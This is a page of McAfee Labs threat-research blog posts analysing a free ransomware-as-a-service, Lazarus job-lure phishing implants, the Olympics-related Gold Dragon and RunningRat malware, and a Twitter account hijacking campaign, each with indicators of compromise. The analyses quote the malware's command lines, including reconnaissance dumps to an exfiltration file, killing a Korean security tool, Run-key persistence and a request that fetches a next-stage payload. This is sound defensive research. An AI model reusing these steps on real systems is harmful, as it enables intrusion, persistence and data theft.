Category: McAfee Labs

Feb 16 2018

Free Ransomware Available on Dark Web

The McAfee Advanced Threat Research team recently analyzed a ransomware-as-a-service threat that is available for free and without registration. This malware was first seen in July 2017 with the extension .shifr. It has now appeared in recent detections with the extension .cypher.


Ransomware-as-a-service is a cybercrime economic model that allows malware developers to earn money for their creations without the need to distribute their threats. Nontechnical criminals buy their wares and launch the infections, while paying the developers a percentage of their take. The developers run relatively few risks, and their customers do most of the work.

Some ransomware-as-a-service, such as RaaSberry, use subscriptions while others require registration to gain access to the ransomware. The ransomware developer hosts a service on the “dark web” that allows any buyer to create and modify the malware. For example, the buyer can add custom ransom notes and the amount of the payment. More advanced services offer features such as evasion techniques to avoid detection and analysis. The service can also offer a control server with an administration panel to manage each victim. This system is convenient for both the developer, who makes money by selling malware, and for buyers, who gain ready-to-deploy ransomware without needing any specific coding knowledge.

The underground economy behind this service is well organized, effectively offering a cybercrime infrastructure. Basically, the ransomware is available on a website. The buyer sets up the ransomware by adding a wallet address. The ransomware is then available to download. The buyer just needs to customize and spread the malware. When a victim pays the ransom, a percentage is delivered both to the buyer and to the malware coder.


The ransomware is available on the TOR network at hxxp://kdvm5fd6tn6jsbwh.onion. A web page guides buyers through the configuration process.

On the configuration page, a generic XMPP address suggests we may have found a demo version of the ransomware.

On the page, the buyer need only to add a Bitcoin wallet address and the amount of the ransom. Once that is done, the malware is generated and can be downloaded. With this malware, the developer earns a 10% commission on every payment. Now let’s look at the malware sample.

Dynamic Analysis 

When the malware launches on the victim’s system, it checks for an Internet connection. If there is none, it exits the process. Otherwise, it contacts the following addresses to download the encryption key:

Once the file is running, it creates several files on the system:

  • Encryption_key: the RSA key encrypted in AES
  • Lock_file: an indicator that the system is encrypted
  • Uuid_file: a reference for the infected machine. A TOR address is generated with this ID.

The encryption key is downloaded from hxxps://

The ransom note is created on the desktop.

The file “HOW_TO_DECRYPT_FILES.html” gives a link to the TOR network.

Once the files are encrypted, the ransom note is displayed in HTML and points to the TOR site hxxp://kdvm5fd6tn6jsbwh.onion/ with the ID of the infected machine.

Allegedly after payment, the victim can download the file decrypter.exe and unlock encrypted files, which have the extension .cypher.

The malware encrypts the following file extensions:

The targeted extensions include many picture and photography files related to Canon, Kodak, Sony, and others. There are also extensions for AutoCAD, Autodesk projects, scalable vector images, and Microsoft Office files. These files are mostly used by designers, photographers, architect—and many others.

Digging Deeper

The malware runs on 64-bit systems and is coded in Golang (“Go language,” from Google), a programming language similar to C with some improvements in error management. It is not common to find malware using Golang, although this is not the first time that we have analyzed such malware. This threat is pretty big compared with most other malware, larger than 5.5MB. The file size can make analysis more difficult and can also help evade hardcoded antimalware file-inspection sizes.

Reverse engineering in Golang is a bit different than other languages. Golang binaries are usually bigger than other executables. (By default, the compiler statically links the program’s libraries, resulting a bigger file.)

A drawback for attackers is that such big binaries can be easily detected on a corporate network. Large files are “noisier” and may appear suspicious when arriving from an external source. They can also be less convenient for attackers to deal with because they can make the infection process more difficult.

The first interesting function to analyze in a Golang binary is the “main_main.” The malware starts by gathering environment variables. It then checks whether the file “lock_file” exists in the directory C:\Users\<username>\AppData\Roaming.

The function “main_Exists” will check for the file. If it does not exist, the malware exits the process.

If the file does exist, the malware downloads the public key from the control server.

The malware contacts the address  hxxps://kdvm5fd6tn6jsbwh.onion/new_c/<nameofmalware>. The encryption public key is stored directly on the website.

This address is generated when the buyer creates the ransomware on the developer’s web page; thus the same malware encrypts files with the same public key.

The malware generates the AES key and tries to find any network share by querying the letters.

This function tries to find network shares:

Before a file is encrypted, the malware creates another file in C:\Users\<username>\AppData\Roaming\uuid_file to use as a victim identifier.

The malware encrypts the files using AES and deletes them after encryption with the function “os.remove” to avoid any simple forensic recovery.

The decrypter, which can be downloaded, works in a similar way but it requests the private key that the victims must pay for at hxxps:// The mechanism behind the encryption routine seems to be on the online server and the decryption key cannot be easily recovered.

The following information describes the decrypter.


Cybercrime-as-a-service is not new, yet it is now more widespread than ever. In this case, the malware is available for free but the ransomware developer earns a 10% fee from each victim who pays a ransom. The use of Golang is not common for malware. Most ransomware-as-a-service is not free, which could indicate this might be a demonstration version, or a proof of concept for future sale.

This malware is not advanced and was coded without evasion techniques, such as DGA, SSL for control, encryption, or even file compression. Looking at the targeted file extensions suggests the victims can range from general home or business users to the graphics industry. Although such malware is not difficult to analyze, it can be very destructive in a corporate environment.

Keep in mind that paying a ransom is no guarantee of receiving a decryption key. McAfee advises that you never pay a ransom. You can find further information and help on unlocking some ransomware threats at

McAfee detects this threat as Ransomware-FPDS!0F8CCEE515B8.


Indicators of Compromise


  • cb73927aa749f88134ab7874b15df898c014a35d519469f59b1c85d32fa69357
  • 0622fcb172773d8939b451c43902095b0f91877ae05e562c60d0ca0c237a2e9c

IP address:

  • hxxp://kdvm5fd6tn6jsbwh.onion

Files created:

  • C:\Users\<username>\AppData\Roaming\uuid_file
  • C:\Users\<username>\AppData\Roaming\lock_file
  • C:\Users\<username>\AppData\Roaming\encryption_key
  • C:\Users\< username >\Desktop\HOW_TO_DECRYPT_FILES.html

Encryption extension:

  • .cypher



The post Free Ransomware Available on Dark Web appeared first on McAfee Blogs.

Feb 12 2018

Lazarus Resurfaces, Targets Global Banks and Bitcoin Users

This blog was written with support and contributions provided by Asheer Maholtra, Jessica Saavedra Morales, and Thomas Roccia.

McAfee Advanced Threat Research (ATR) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact.

This new campaign, dubbed HaoBao, resumes Lazarus’ previous phishing emails, posed as employee recruitment, but now targets Bitcoin users and global financial organizations. When victims open malicious documents attached to the emails, the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering.

HaoBao targets and never-before-seen implants signal to McAfee ATR an ambitious campaign by Lazarus to establish cryptocurrency cybercrime at a sophisticated level.


Beginning in 2017, the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents. The campaign lasted from April to October and used job descriptions relevant to target organizations, in both English and Korean language. The objective was to gain access to the target’s environment and obtain key military program insight or steal money. The 2017 campaign targets ranged from defense contractors to financial institutions, including crypto currency exchanges, however; much of this fake job recruitment activity ceased months later, with the last activity observed October 22, 2017.


On January 15th , McAfee ATR discovered a malicious document masquerading as a job recruitment for a Business Development Executive located in Hong Kong for a large multi-national bank. The document was distributed via a Dropbox account at the following URL:


This is the mark of a new campaign, though it utilizes techniques, tactics and procedures observed in 2017. This document had the last author ‘Windows User’ and was created January 16, 2018 with Korean language resources. Several additional malicious documents with the same author appeared between January 16 though January 24, 2018.

Document summary from Virus Total


Malicious job recruitment documents

Victims are persuaded to enable content through a notification claiming the document was created in an earlier version of Microsoft Word. The malicious documents then launch an implant on the victim’s system via a Visual Basic macro.

Malicious Microsoft Word document


Implants dropped in campaign

The document (7e70793c1ca82006775a0cac2bd75cc9ada37d7c) created January 24, 2018 drops and executes an implant compiled January 22, 2018 with the name lsm.exe (535f212b320df049ae8b8ebe0a4f93e3bd25ed79). The implant lsm.exe contacted which also resolves to dropped in campaign

The other malicious document ( a79488b114f57bd3d8a7fa29e7647e2281ce21f6) created January 19, 2018 drops the implant (afb2595ce1ecf0fdb9631752e32f0e32be3d51bb); which is 99% similar-to the lsm.exe implant.

This document was distributed from the following Dropbox URLs:

  • hxxps://
  • hxxps:// description.doc?dl=1
HTTP response for job description document

This implant (csrss.exe) compiled January 15, 2018 contacts an IP address which resolves to We identified that this domain was used to host a malicious document from a previous 2017 campaign targeting the Sikorsky program.

  • hxxp://

A third malicious document (dc06b737ce6ada23b4d179d81dc7d910a7dbfdde) created January 19, 2018 drops e8faa68daf62fbe2e10b3bac775cce5a3bb2999e which is compiled January 15, 2018. This implant communicates to a South Korean IP address which resolves to

McAfee ATR analysis finds the dropped implants have never been seen before in the wild and have not been used in previous Lazarus campaigns from 2017. Furthermore, this campaign deploys a one-time data gathering implant that relies upon downloading a second stage to gain persistence. The implants contain a hardcoded word “haobao” that is used as a switch when executing from the Visual Basic macro.

Malicious Document Analysis

The malicious document contains two payloads as encrypted string arrays embedded in Visual Basic macro code. The payloads are present as encrypted string arrays that are decrypted in memory, written to disk and launched in sequence (second stage malicious binary launched first and then the decoy document).

The VBA Macro code is self-executing and configured to execute when the OLE document (MS Word doc) is opened (via “Sub AutoOpen()”). The AutoOpen() function in the VBA Macro performs the following tasks in the sequence listed:

  • Decodes the target file path of the second stage binary payload. This file path is calculated based on the current user’s Temp folder location:


VB code to decrypt second stage filepath
  • Decodes the second stage binary in memory and writes it to the %temp%\.\lsm.exe file location
second stage binary (MZ) as an encrypted String Array in the VBA Macro
second stage binary (MZ) decoded in memory by the VBA Macro
  • After writing the second stage payload to disk the VBA code performs two important actions.
    • Runs the second stage payload using cmd.exe. This is done so that the cmd.exe process exists as soon as the payload is launched. This way a process enumeration tool cannot find the parent process => Smaller footprint.

cmdline for executing the second stage binary:

cmd.exe /c start /b <temp_dir_path>\.\lsm.exe /haobao

  • Adds persistence on the system by creating a shortcut in the user’s Startup folder with the correct cmdline arguments:

Link file command line: <temp_dir_path>\.\lsm.exe /haobao

Link File Name: GoogleUpdate.lnk

Trigger code for executing the second stage binary and establishing persistence


LNK file configuration for establishing persistence
  • Once the second stage payload has been launched, the VBA Macro proceeds to display a decoy document to the end user. This decoy document is also stored in the VBA Macro as an encrypted string array (similar to the second stage payload). The decoy document is again written to the user’s temp directory to the following filename/path:

<temp_dir_path>\.\Job Description.doc

Decoy Document decoded in memory by the VBA Macro
  • Once the decoy document has been written to disk, the VBA Macro sets its file attributes to System + Hidden
  • The decoy document is then opened by the malicious VBA Macro and the original malicious document’s caption is copied over to the decoy document to trick the end user into mistaking the decoy document for the original (malicious) document.
  • This activity, combined with the fact that the VBA Macro then closes the current (malicious) document, indicates that the VBA Macro aims to trick an unsuspecting user into thinking that the decoy document currently open is the original (malicious) document opened by the user.
  • Since the decoy document is a benign file and does not contain any macros the victim does not suspect any malicious behavior.

Implant Analysis

As part of the implant initialization activities the implant does the following;

  • Checks the string passed to it through command line
    • “/haobao” in case of 535f212b320df049ae8b8ebe0a4f93e3bd25ed79
    • “/pumpingcore” in case of e8faa68daf62fbe2e10b3bac775cce5a3bb2999e

If the malware does not find this string in its cmdline arguments, it simply quits without going any further.

  • Unwraps a DLL into memory and calls its one-and-only import using Reflective DLL injection. DLL information.

During our research, we discovered additional variants of the DLL file.

DLL information


  • As part of Reflective DLL loading the malware performs the following tasks on the DLL it has unwrapped in memory:
    • Copy the unwrapped DLL into new locations in its own memory space.
    • Build imports required by the DLL (based on the IAT of the DLL)
Imports builder code in malware for the DLL imports
  • Call the newly loaded DLL image’s Entry Point (DllMain) with DLL_PROCESS_ATTACH to complete successful loading of the DLL in the malware process.
DLL Entry Point Call from malware to finish loading of the DLL in memory
  • Call the actual malicious export in the DLL named “CoreDn”
Hardcoded DLL export name “CoreDn” in malware

All the malicious activities described below are performed by the DLL unless specified otherwise.

Data Reconnaissance

The implant has the capability of gathering data from the victim’s system. The following information will be gathered and sent to the command and control server.

  • Computer name and currently logged on user’s name, stored in the format

<ComputerName> \ <Username>

Malware obtaining the computer name and user name
  • List of all processes currently running on the system arranged in format

<Process Name>\r\n

<Process Name>\r\n

<Process Name>\r\n

<Process Name>\r\n

Malware collecting process information from endpoint
  • The presence of a specific registry key on the system


  • The malware appends an indicator (flag) specifying whether the above registry key was found in the user’s registry:

This key is checked again as part of the command and control communication and is sent as a duplicate value to the command and control in the HTTP POST request as well (explained in the below).

Malware checking for the presence of the registry key



In preparation of the exfiltration of information collected from the endpoint, the malware performs the following activities:

  • Encode the collected information using a simple byte based XOR operation using the byte key: 0x34.
  • Base64 encode (standard) the XORed data.
  • Again, check for the presence of the Registry Key: HKCU\Software\Bitcoin\Bitcoin-Qt


Command and Control Server Communication

Once the malware has performed all these activities it sends an HTTP POST request to the CnC server:

  • www[dot] for md5 BDAEDB14723C6C8A4688CC8FC1CFE668
  • www[dot] for md5 D4C93B85FFE88DDD552860B148831026


In the format:

HTTP POST to www[dot]




HTTP POST to www[dot]



idx= 20 (14h) if the Registry key does not exist; 24 (18h) if the key exists.

no= XORed + base64 encoded “<Computername> \ <username>”

mode= XORed + base64 encoded Process listing + Registry key flag

Command and control server domain


The persistence mechanism of the malware is performed only for the downloaded implant. Persistence is established for the implant via the visual basic macro code initially executed upon document loading by the victim. This persistence is also performed ONLY if the malware successfully executes the downloaded implant. The malware first tries to update the HKEY_LOCAL_MACHINE registry key.

If the update is unsuccessful then it also tries to update the HKEY_CURRENT_USER registry key. Value written to registry to achieve persistence on the endpoint:

Registry Subkey = Software\Microsoft\Windows\CurrentVersion\Run

Value Name = AdobeFlash

Value Content = “C:\DOCUME~1\<username>\LOCALS~1\Temp\OneDrive.exe” kLZXlyJelgqUpKzP

Registry based persistence of the second stage payload

Connections to 2017 campaigns

The techniques, tactics and procedures are very similar to the campaigns that targeted US Defense contractors, US Energy sector, financial organizations and crypto currency exchanges in 2017.

The same Windows User author appeared back in 2017 in two malicious documents 비트코인_지갑주소_및_거래번호.doc and 비트코인 거래내역.xls which were involved in crypto currency targeting. Furthermore, one of the implants communicates to an IP address that was involved in hosting malicious job description documents in 2017 involving the Sikorsky military program.

McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:

  • Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017
  • Same author appeared in these recent malicious documents that also appeared back in Lazarus 2017 campaigns
  • Uses the same malicious document structure and similar job recruitment ads as what we observed in past Lazarus campaigns
  • The techniques, tactics and procedures align with Lazarus group’s interest in crypto currency theft


In this latest discovery by McAfee ATR, despite a short pause in similar operations, the Lazarus group targets crypto currency and financial organizations. Furthermore, we have observed an increased usage of limited data gathering modules to quickly identify targets for further attacks. This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans.


 Indicators of Compromise

MITRE ATT&CK techniques

  • Data encoding
  • Data encrypted
  • Command-Line Interface
  • Account discovery
  • Process Discovery
  • Query registry
  • Hidden files and directories
  • Custom cryptographic protocol
  • Registry Run Keys / Start Folder
  • Startup Items
  • Commonly used port
  • Exfiltration Over Command and Control Channel




  • hxxps://
  • hxxps:// description.doc?dl=1


  • dc06b737ce6ada23b4d179d81dc7d910a7dbfdde
  • a79488b114f57bd3d8a7fa29e7647e2281ce21f6
  • 7e70793c1ca82006775a0cac2bd75cc9ada37d7c
  • 535f212b320df049ae8b8ebe0a4f93e3bd25ed79
  • 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd
  • afb2595ce1ecf0fdb9631752e32f0e32be3d51bb
  • e8faa68daf62fbe2e10b3bac775cce5a3bb2999e

McAfee Detection

  • BackDoor-FDRO!
  • Trojan-FPCQ!
  • RDN/Generic Downloader.x
  • RDN/Generic Dropper
  • RDN/Generic.dx

The post Lazarus Resurfaces, Targets Global Banks and Bitcoin Users appeared first on McAfee Blogs.

Feb 02 2018

Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems

McAfee Advanced Threat Research (ATR) recently released a report describing a fileless attack targeting organizations involved with the Pyeongchang Olympics. The attack used a PowerShell implant that established a channel to the attacker’s server to gather basic system-level data. What was not determined at that time was what occurred after the attacker gained access to the victim’s system.

McAfee ATR has now discovered additional implants that are part of an operation to gain persistence for continued data exfiltration and for targeted access. We have named these implants, which appeared in December 2017, Gold Dragon, Brave Prince, Ghost419, and Running Rat, based on phrases in their code.

On December 24, 2017, our analysts observed the Korean-language implant Gold Dragon. We now believe this implant is the second-stage payload in the Olympics attack that ATR discovered January 6, 2018. The PowerShell implant used in the Olympics campaign was a stager based on the PowerShell Empire framework that created an encrypted channel to the attacker’s server. However, this implant required additional modules to be executed to be a fully capable backdoor. In addition, the PowerShell implant did not contain a mechanism to persist beyond a simple scheduled task. Gold Dragon has a much more robust persistence mechanism than the initial PowerShell implant and enables the attacker to do much more to the target system. Gold Dragon reappeared the same day that the Olympics campaign began.

The Gold Dragon malware appears to have expanded capabilities for profiling a target’s system and sending the results to a control server. The PowerShell implant had only basic data-gathering capabilities—such as username, domain, machine name, and network configuration—which are useful only for identifying interesting victims and launching more complex malware against them.

Gold Dragon

Gold Dragon is a data-gathering implant observed in the wild since December 24. Gold Dragon gets its name from the hardcoded domain, which we found throughout the samples.

This sample acts as a reconnaissance tool and downloader for subsequent payloads of the malware infection and payload chain. Apart from downloading and executing binaries from the control server, Gold Dragon generates a key to encrypt data that the implant obtains from the system. This URL is not used for control; the encrypted data is sent to the server, which was used by previous implants as early as May 2017.

Gold Dragon contains elements, code, and similar behavior to implants Ghost419 and Brave Prince, which we have tracked since May 2017. A DLL-based implant created on December 21 (the same day the first malicious Olympics document appeared) was downloaded by a Gold Dragon variant created December 24. This variant was created three days before the targeted spear phishing email with the second document that was sent to 333 victim organizations. The December 24 variant of Gold Dragon used the control server, which was also used by a Brave Prince variant from December 21.

The first variants of Gold Dragon appeared in the wild in South Korea in July 2017. The original Gold Dragon had the file name 한글추출.exe, which translates as Hangul Extraction and was seen exclusively in South Korea. Five variants of Gold Dragon compiled December 24 appeared heavily during the targeting of the Olympics organizations.

Analyzing Gold Dragon

As part of its initialization, Gold Dragon:

  • Builds its imports by dynamically loading multiple APIs from multiple libraries
  • Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes

The malware does not establish persistence for itself but for another component (if it is found) on the system:

  • The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system. (HWP is a Korean word processor similar to Microsoft Word.)

Checking for HWP.exe in the process list.

  • If HWP.exe is found running on the system, the malware finds the currently open file in HWP by extracting the file path from the command-line argument passed to HWP.exe
  • This word file (usually named *.hwp) is copied into the temporary file path


  • hwp is an exact copy of the file loaded into HWP.exe
  • The malware reads the contents of 2.hwp and finds an “MZ magic marker” in the file indicated by the string “JOYBERTM”

Checking for the MZ marker in the HWP file.

  • This marker indicates the presence of an encrypted MZ marker in the .hwp file and is decrypted by the malware and written to the Startup folder for the user:

C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe

  • This step establishes the persistence of the malware across reboots on the endpoint
  • Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint

The malware might perform this activity for a couple of reasons:

  • Establish persistence for itself on the endpoint
  • Establish persistence of another component of the malware on the endpoint
  • Update itself on endpoint after a separate updater component downloads the update from the control server

The malware has limited reconnaissance and data-gathering capabilities and is not full-fledged spyware. Any information gathered from the endpoint is first stored in the following file, encrypted, and sent to the control server:

  • C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

The following information is gathered from the endpoint, stored in the file 1.hwp, and sent to the control server:

  • Directory listing of the user’s Desktop folder using command:

cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Directory listing of the user’s recently accessed files using command:

cmd.exe /c dir C:\DOCUME~1\<username>\Recent >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Directory listing of the system’s %programfiles% folder using command:

cmd.exe /c dir C:\PROGRA~1\ >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Systeminfo of the endpoint using command:

cmd.exe /c systeminfo >> C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp

  • Copies the file ixe000.bin from:

C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin



  • Registry key and value information for the current user’s Run key (with information collected):


Number of subkeys

(<KeyIndex>) <KeyName>

Number of Values under each key including the parent Run key

(<ValueIndex>) <Value_Name> <Value_Content>

Registry Run key enumeration by Gold Dragon.

An example of 1.hwp with registry and system information:

Gold Dragon executes these steps executed in the exfiltration process:

  • Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com”
  • The encrypted content is written to the data file 1.hwp.
  • During the exfiltration process, the malware Base64-encodes the encrypted data and sends it to its control server using an HTTP POST request to the URL:


  • HTTP data/parameters used in the request include:
    • Content-Type: multipart/form-data; boundary=—-WebKitFormBoundar ywhpFxMBe19cSjFnG <followed by base64 encoded & encrypted system info>
    • User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)
    • Accept-Language: en-us
    • HTTP Version: HTTP/1.0

The malware can also download and execute additional components served to it by the control server. The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request:

GET http://ink[dot]<Computer_Name>_<username>&continue=dnsadmin

After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed:


(note “ex,” not “exe”)

The capability to download additional components from the control server.

The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products:

  • The presence of any process with the keywords “v3” and “cleaner.”

Checking for antimalware or cleaner processes.

  • If found, these processes are terminated by sending a WM_CLOSE message to their windowing threads.

Terminating an antimalware/cleaner process.


Brave Prince

Brave Prince is a Korean-language implant that contains similar code and behavior to the Gold Dragon variants, specifically the system profiling and control server communication mechanism. The malware gathers detailed logs about the victim’s configuration, contents of the hard drive, registry, scheduled tasks, running processes, and more. Brave Prince was first observed in the wild December 13, 2017, sending logs to the attacker via South Korea’s Daum email service. Later variants posted the data to a web server via an HTTP post command, in the same way that Gold Dragon does.

The embedded domain

The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system:

  • Directories and files
  • Network configuration
  • Address resolution protocol cache
  • Systemconfig to gather tasks

Both variants of Brave Prince can kill a process associated with a tool created by Daum that can block malicious code. This tool is exclusive to South Korea.

  • taskkill /f /im daumcleaner.exe

The later variants of Brave Prince include the following hardcoded strings:

  • c:\utils\c2ae_uiproxy.exe
  • c:\users\sales\appdata\local\temp\dwrrypm.dl



Ghost419 is a Korean-language implant that first appeared in the wild December 18, 2017, with the most recent sample appearing two days before the Olympics spear phishing email. The malware can be identified by the hardcoded string and URL parameter passed to the control server. Ghost419 can be traced to a sample created July 29, 2017, that appears to be a much earlier version (without the hardcoded identifier). The July version shares 46% of its code with samples created in late December. This early version implant creates a unique mutex value (kjie23948_34238958_KJ238742) that also appears in a sample from December, with the exception that one digit has changed. Ghost419 is based on Gold Dragon and Brave Prince implants and contains shared elements and code, especially for system reconnaissance functions.

Hardcoded “Ghost419” in the malware binary.

The string “WebKitFormBoundarywhpFxMBe19cSjFnG,” part of the upload mechanism, also appears in the Gold Dragon variants of late December 2017.

Gold Dragon sample.

Ghost419 sample.

Numerous other similarities are present in addition to system reconnaissance methods; the communication mechanism uses the same user agent string as Gold Dragon.

Gold Dragon user agent string.

Ghost419 user agent string.



RunningRat is a remote access Trojan (RAT) that operates with two DLLs. It gets its name from a hardcoded string embedded in the malware. Upon being dropped onto a system, the first DLL executes. This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence. The malware drops the Windows batch file dx.bat, which attempts to kill the task daumcleaner.exe; a Korean security program. The batch file then attempts to remove itself.

The first DLL unpacks a resource file attached to the DLL using a zlib decompression algorithm. The authors of the malware left the debugging strings in the binary, making the algorithm easy to identify. The second DLL is decompressed in memory and never touches the user’s file system; this file is the main RAT that executes. Finally, the first DLL adds the registry key “SysRat,” at SoftWare\Microsoft\Windows\CurrentVersion\Run, to ensure the malware is executed at startup.

After the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server, effectively changing the address the malware will communicate with. This address is hardcoded in the second DLL as and is modified by the first DLL to

This type of behavior may indicate this code is being reused or is part of a malware kit.

The first DLL uses one common antidebugging technique by checking for SeDebugPrivilege.

Once the second DLL is executed, it gathers information about the victim system’s setup, such as operating system version, and driver and processor information.

The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs.

From our analysis, stealing keystrokes is the main function of RunningRat; however, the DLL has code for more extensive functionality. Code is included to copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and much more. However, our current analysis shows no way for such code to be executed.

McAfee ATR analysts will continue to research RunningRat to determine if this extra code is used or is possibly left over from a larger RAT toolkit.

The second DLL employs a few additional antidebugging techniques. One is the use of a custom exception handler and code paths that are designed to generate exceptions.

There are also a few random empty-nested threads to slow down researchers during static analysis.

The final antidebugging technique involves GetTickCount performance counters, which are placed within the main sections of code to detect any delay a debugger adds during runtime.



The PowerShell script first discovered by McAfee ATR was delivered via a spear phishing campaign that used image stenography techniques to hide the first-stage implant. (For more on steganography, see the McAfee Labs Threats Report, June 2017, page 33.)

The implants covered in this research establish a permanent presence on the victim’s system once the PowerShell implant is executed. The implants are delivered as a second stage once the attacker gains an initial foothold using fileless malware. Some of the implants will maintain their persistence only if Hangul Word, which is specific to South Korea, is running.

With the discovery of these implants, we now have a better understanding of the scope of this operation. Gold Dragon, Brave Prince, Ghost419, and RunningRat demonstrate a much wider campaign than previously known. The persistent data exfiltration we see from these implants could give the attacker a potential advantage during the Olympics.

We thank Charles Crawford and Asheer Malhotra for their support of this analysis.


Indicators of Compromise


  • 194.70.136




  • fef671c13039df24e1606d5fdc65c92fbc1578d9
  • 06948ab527ae415f32ed4b0f0d70be4a86b364a5
  • 96a2fda8f26018724c86b275fe9396e24b26ec9e
  • ad08a60dc511d9b69e584c1310dbd6039acffa0d
  • c2f01355880cd9dfeef75cff189f4a8af421e0d3
  • 615447f458463dc77f7ae3b0a4ad20ca2303027a
  • bf21667e4b48b8857020ba455531c9c4f2560740
  • bc6cb78e20cb20285149d55563f6fdcf4aaafa58
  • 465d48ae849bbd6505263f3323e818ccb501ba88
  • a9eb9a1734bb84bbc60df38d4a1e02a870962857
  • 539acd9145befd7e670fe826c248766f46f0d041
  • d63c7d7305a8b2184fff3b0941e596f09287aa66
  • 35e5310b6183469f4995b7cd4f795da8459087a4
  • 11a38a9d23193d9582d02ab0eae767c3933066ec
  • e68f43ecb03330ff0420047b61933583b4144585
  • 83706ddaa5ea5ee2cfff54b7c809458a39163a7a
  • 3a0c617d17e7f819775e48f7edefe9af84a1446b
  • 761b0690cd86fb472738b6dc32661ace5cf18893
  • 7e74f034d8aa4570bd1b7dcfcdfaa52c9a139361
  • 5e1326dd7122e2e2aed04ca4de180d16686853a7
  • 6e13875449beb00884e07a38d0dd2a73afe38283
  • 4f58e6a7a04be2b2ecbcdcbae6f281778fdbd9f9
  • 389db34c3a37fd288e92463302629aa48be06e35
  • 71f337dc65459027f4ab26198270368f68d7ae77
  • 5a7fdfa88addb88680c2f0d5f7095220b4bbffc1



The post Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems appeared first on McAfee Blogs.

Jan 23 2018

Twitter Accounts of US Media Under Attack by Large Campaign

A previously reported campaign purportedly carried out by Turkish hacker group “Ayyildiz Tim” targeting high-profile, verified Twitter accounts with the purpose of spreading Turkish political propaganda appears to have escalated within the last 24 hours. McAfee Advanced Threat Research has investigated the new events and discovered the following. On January 13, the Twitter account of the Indian ambassador to the United Nations was taken over and spread pro-Pakistan and pro-Turkey postings:

What seemed to be a single event soon became a targeted campaign that we discovered in cooperation with our partner SocialSafeGuard. Combining their technology and our threat researchers, we started to build a timeline of events:


In each case in this timeline, the account was restored after several hours.

Once the accounts were compromised, the attackers direct-messaged the account contacts with propaganda for their cause or with a link to convince them to click on a phishing site that would harvest the Twitter credentials of the victim.

One example of such a site is hxxp://

Visiting the page shows the following:

If we look at the source code of the page, we discover several Turkish-language segments. Focusing on the domains used for the phishing sites, we discovered more registered sites. Some examples:


Who is behind this campaign? According to the messages used, the Turkish hacker group “Ayyildiz Tim” (AYT) claims to be responsible for the attacks. The group was founded in 2002 and advocates Turkish state ideology. In the following example, we see the background image of Greta van Susteren has changed to one of the many wallpapers used by the group:

We advise journalists in particular, as well as others in high-profile positions, to follow appropriate safeguards to protect their accounts.


We are aware that one of the tactics from this group is to use Direct Messaging to communicate with other prominent Twitter accounts. There is also evidence that private messaging history has been accessed from certain compromised accounts of prominent figures, along with other sensitive or confidential information such as private phone numbers and emails.  If you receive a message, even from someone you know or trust, be aware that the message may not be from the person you know. It is potentially directing you to malicious content.

You absolutely should verify through an alternate channel that the link is safe to click.

The post Twitter Accounts of US Media Under Attack by Large Campaign appeared first on McAfee Blogs.